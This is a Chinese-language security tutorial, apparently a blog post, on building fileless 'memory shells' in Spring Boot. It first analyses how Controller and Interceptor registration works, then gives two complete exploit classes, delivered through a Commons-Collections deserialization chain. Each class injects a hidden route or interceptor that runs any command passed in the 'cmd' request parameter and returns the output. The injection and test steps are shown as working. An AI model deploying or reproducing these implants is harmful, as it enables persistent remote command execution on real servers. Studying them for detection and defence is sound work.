前端时间学习完tomcat相关的内存马,由于一道ctf题的契机,打算再了解一下spring的内存马构造,于是有了下文,文章也是拖了很久才完成。

0x01 Spring概述

Spring框架是一个开源的轻量级的java应用框架,它提供了一个全面的编程和配置模型,用于构建现代的、可扩展的Java应用程序。Spring的设计目标是提高Java应用程序的开发速度、模块化性、可维护性和测试性。

Spring有几种特性

依赖注入

依赖注入只是一个模糊的概念,你不用从代码层面上去创建对象,只需要通过在配置文件里描述对象创建的过程,以及创建对象所需要的条件,之后容器(也就是IOC容器)会读取xml配置文件的内容,并将它们组装成一个对象。

面向切面编程(AOP)

AOP也就是面向切面编程,顾名思义,实现一个切面,比如你定义好了一个类,在这个类中间切一刀,然后在这个地方添加一些新的东西,在实例化这个类或者调用这个类的某些方法的时候就会去执行我们添加的东西。有点类似于tomcat里面的Filter过滤器。

IOC容器

IOC翻译过来也就是控制反转,不是一种技术,而是设计思想。在传统的java SE设计模式中,我们直接在对象内部通过new进行创建对象,是程序主动去创建依赖对象,而IOC设计了一个专门的容器,也就是IOC容器,即由Ioc容器来控制对 象的创建(也就是Bean的创建,Bean是Spring容器的骨干)传统应用程序是由我们自己在对象中主动控制去直接获取依赖对象,而IOC是由容器帮我们查找及注入依赖对象,对象只是被动的接受依赖对象,所以反转了。

0x02 Springboot环境搭建

spring搭建的时候需要写很多配置文件,很麻烦。Spring Boot是一个构建基于Spring的应用程序的工具,它旨在简化Spring应用程序的开发和部署。

新建项目,选择Spring模块

勾选Spring Web模块

选择2.x版本的Springboot版本

点击完成后,一个springboot就搭建好了,

为了模拟真实漏洞环境,在pom.xml文件中添加CC依赖,利用反序列化去注入内存马

设置一个根路由和反序列化路由

启动Springboot项目,访问根路由

环境搭建完成

0x03 内存马流程分析

本文对于spring内存马的学习主要分为两种,一种是Controller内存马,另一种是Interceptor内存马。

1.Controller内存马分析

在控制器中的hello方法下个断点,看一下执行流

重点逻辑在 DispatcherServlet 类中的 doDispatch 方法,

通过请求的request寻找对应的handler类

跟进,遍历Mappings,然后调用Mapping的getHandler函数,一直跟进

通过当前请求对象查找路径,mappingRegistry,看字面意思就是注册mapping的,然后调用 lookupHandlerMethod 通过路径来查找对应处理逻辑的方法

继续跟进这个方法

最终是在 mappingRegistry 中查找对应mapping的,通过 getMappingsByDirectPath 方法,获得的Mappinginfo添加到list列表里

我们可以看看获取到的Mappinginfo是什么

里面存储着控制器的方法,所以在注册内存马的时候,需要封装一个Mapping动态注册到 mappingRegistry 里,全局查找在哪些地方调用了 this.mappingRegistry

继续跟进这个register方法,主要看一下这个方法对应的三个参数

第二个参数 handler 就是对应的控制器类,第三个参数method就是一个Method类,这个类也可以通过反射获取,这两个类作为参数创建了一个handlerMethod类

第二个参数mapping,主要与路径有关

它是一个RequestMappingInfo类,在它的字段中只有 patternsCondition 字段与路径有关,其他的都默认为空。

而在 patternsCondition 字段中

有patterns字段是真正存储路由的,而在这个类的构造方法中也对patterns字段进行了赋值。

构造思路

1.实例化控制器类作为handler

2.在控制器类构造恶意方法,反射获取Method类

3.构造一个patternsCondition,将恶意路由添加进去,实例化 RequestMappingInfo 类,把patternsCondition字段放进去

4.获取上下文,调用 registerMapping 方法注册路由

获取上下文

所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

然后从当前上下文中获取 RequestMappingHandlerMapping 的实例Bean

RequestMappingHandlerMapping r = webApplicationContext.getBean(RequestMappingHandlerMapping.class);

registerMapping 方法是在 AbstractHandlerMethodMapping 类中,而它是一个抽象类,所以要去往下找继承类

所以我们要获取RequestMappingHandlerMapping继承类来调用 registerMapping 方法。

完整EXP

利用CC链打反序列化,加载恶意字节码

package attackTest;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;

public class TestShell extends AbstractTranslet {
static {
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
System.out.println("111");
RequestMappingHandlerMapping r = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
Method ShellMethod = null;
Class<?> C = TestShell.class;
try {
ShellMethod = C.getMethod("shell");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
PatternsRequestCondition url = new PatternsRequestCondition("/evalTest");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
TestShell testShell = new TestShell();
r.registerMapping(info, testShell, ShellMethod);
System.out.println("注入成功!");
}

public void shell() {
System.out.println("success!!");
HttpServletRequest httpServletRequest = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse httpServletResponse = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = httpServletRequest.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
httpServletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
httpServletResponse.getOutputStream().flush();
httpServletResponse.getOutputStream().close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

利用测试

将上述exp编译成 class文件 运行CC11攻击链生成payload 启动Springboot项目,

访问attack路由,将payload打进去

可以看到控制台有输出日志,说明内存马注入成功

访问注册时的指定路由 /evalTest

可以执行任意命令

2.Interceptor内存马分析

Interceptor 也是拦截器,与filter过滤器很像。上文讲的Controller内存马对于存在相关拦截器的时候,Controller内存马就无法利用了,Interceptor比Controller先调用,所以Controller内存马不能作为通用的内存马。

创建Interceptor

同Filter一样,我们可以自定义一个拦截器,对拦截器的定义有两种方法

通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义;

通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义

选择继承 HandlerInterceptor 接口,重写接口的三个方法

package MyInterceptor;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle.....");
return true; // 返回true表示继续执行后续请求处理,返回false表示终止请求处理
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle.....");
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion.....");
}
}

此外还有对拦截器进行配置,编写applicationContext.xml

<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/*"/> <!-- 设置拦截路径 -->
<bean class="MyInterceptor.TestInterceptor"/> <!-- 拦截器类的完全限定名 -->
</mvc:interceptor>
</mvc:interceptors>

当然这还没完,在启动程序里将xml配置文件加载

@ImportResource("classpath:applicationContext.xml")

为了演示效果更明显,在控制器中添加一句日志

启动springboot项目,访问根路由

由此可见,拦截器中的preHandle函数比Controller更先执行,更适合作为内存马

流程分析

从执行流中找,定位到 DispatcherServlet 类的 doDispatch 方法

在这个调用中可以发现此时 mappedHandler 已经添加了自定义的拦截器

把目标锁定在mappedHandler 的创建

跟进 getHandler 方法调试。

刚开始的流程和 Controller 内存马的流程分析类似,不再赘述,直接跳到 AbstractHandlerMapping 类中的 HandlerExecutionChain 方法

此时拿到了对应控制器的handler,往下走,经过一些判断

到516行有个重要方法 getHandlerExecutionChain

跟进这个方法

首先创建了一个 HandlerExecutionChain 类的实例,然后遍历 adaptedInterceptors 拦截器列表

可以看到此时列表中有三个拦截器,第一个就对应我们自定义的拦截器,回到代码,判断遍历的拦截器是否继承 MappedInterceptor 类,然后对请求的路径进行匹配,满足条件后就将自定义的拦截器添加到链中

拦截器方法的调用是在 DispatcherServlet 类的 doDispatch 方法,第1062行

跟进这个方法

先从拦截器列表中获取下标为0的拦截器,也正是我们自定义的,然后调用它的 preHandle 方法,无论是什么拦截器,都会调用它的 preHandle 方法

最后就来到了日志打印

到此 Interceptor 的流程分析结束。

构造思路

仔细回想拦截器添加到执行的过程,根本的点在于 adaptedInterceptors 属性

它是 AbstractHandlerMapping 接口的一个属性

我们只需要创建一个恶意的拦截器,然后调用add方法将恶意拦截器添加到该属性中。

其实也比较简单,完整的exp为

package attackTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

public class MyInterceptorShell extends AbstractTranslet implements HandlerInterceptor {

static {
MyInterceptorShell myInterceptorShell = new MyInterceptorShell();
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = webApplicationContext.getBean(AbstractHandlerMapping.class);
try {
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = null;
try {
adaptedInterceptors = (java.util.ArrayList<Object>) adaptedInterceptorsField.get(abstractHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
adaptedInterceptors.add(myInterceptorShell);
System.out.println("内存马注入成功!");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}

@Override
public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws
Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line + '\n');
}
response.getOutputStream().write(stringBuffer.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
}
return true;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

利用测试

启动springboot项目,将运行的base编码打到attack路由

根据控制台信息内存马已经注入成功,访问任何路由都能执行命令

此刻已经完成Springboot的无文件内存马的实现。